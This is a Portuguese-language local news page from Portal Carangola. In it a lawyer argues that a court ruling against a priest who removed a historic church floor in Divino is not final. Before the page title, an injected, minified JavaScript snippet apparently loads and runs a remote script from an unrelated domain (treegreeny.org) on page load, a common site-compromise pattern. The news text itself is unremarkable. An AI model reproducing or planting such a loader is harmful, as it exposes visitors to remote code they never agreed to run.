;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); "Decisão judicial contra padre que retirou piso histórico da igreja em Divino não é definitiva”, diz advogado - Portal Carangola

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“Decisão judicial contra padre que retirou piso histórico da igreja em Divino não é definitiva”, diz advogado

dr-rodgersEm entrevista ao nosso parceiro, “Jornal O Campeão”, na manhã desta quarta-feira(09/11) o advogado de defesa do processo. Dr. Rodgers Oliveira Sales (OAB 105358) afirma que a decisão proferida e mencionada nos meios de comunicação não é definitiva. “O processo encontra-se pendente de recurso e ainda há possibilidade de interposição e de reverter o quadro”. Disse.
O advogado explica que após denúncia do Conselho do Patrimônio Histórico do Município, no ano de 2011, o Ministério Público instaurou um procedimento, uma ação civil pública, e nesta ação foram citados o Padre José Flávio, a Igreja Católica e a Mitra Diocesana de Carantinga, sendo que todas as partes envolvidas apresentaram defesa. Então houve tramitação do processo judicial e o juiz de primeira instância, Dr. Maurílio Cardoso Naves, deu a sentença favorável a Igreja, ao padre e a Mitra. No entanto, o Promotor de Justiça, Dr. Michel Heleno Totte, no exercício de seu mister, apresentou apelação e o processo foi remetido ao Tribunal de Justiça do Estado de Minas Gerais na 5ª Câmara Cível, sendo o processo julgado por três desembargadores. O desembargador relator deu voto favorável para que a sentença de primeiro grau permanecesse, ou seja, que fosse favorável ao Padre José Flávio, a igreja e a Mitra Diocesana. Contudo, os outros dois desembargadores foram desfavoráveis ao voto do relator, acolhendo os argumentos do Ministério Público, de onde surgiu essa ponderação descrita pelo Jornal Estado de Minas.
Ainda segundo o advogado, o acordão (decisão final proferida) não transitou em julgado, conforme dito pelo jornal, e ele interpôs recurso de embargo.
“Uma vez que houve divergência no julgamento, os três não foram unânimes na decisão, o Código de Processo Civil discorre nos termos do artigo 942 que deve haver um outro julgamento em sessão a ser designada, com a presença de outros julgadores que serão convocados nos termos previamente definidos no regimento interno em número suficiente, para garantir a possibilidade de inversão do resultado da inicial, assegurando as partes e a eventuais terceiros o direito de sustentação oralmente em suas razões perante os novos julgadores”. Afirma o advogado.
Quanto a alegação de que o padre usou de estratégia para quebrar o piso de madrugada, Dr. Rodgers defende “que foi uma opção profissional e que os pedreiros foram trabalhar no horário das cinco os seis horas, com intuito de agilizar o trabalho e não de esconder da sociedade o que estava sendo feito, por que o padre já havia conversado com o prefeito da época.
Em uma edição do jornal O Campeão, na data de 28 de março de 2011, o padre chegou a mencionar em uma reportagem intitulada; “Afirmam que a igreja é centenária, mas na verdade centenária é apenas a Paróquia”, ser alvo de criticas graves e injustas, motivada pela reforma da matriz , principalmente por colocar ali um piso de granito com intenção de fazer o templo ficar mais bonito”.
Fonte: Hitler Cézar/jornalocampeao.com

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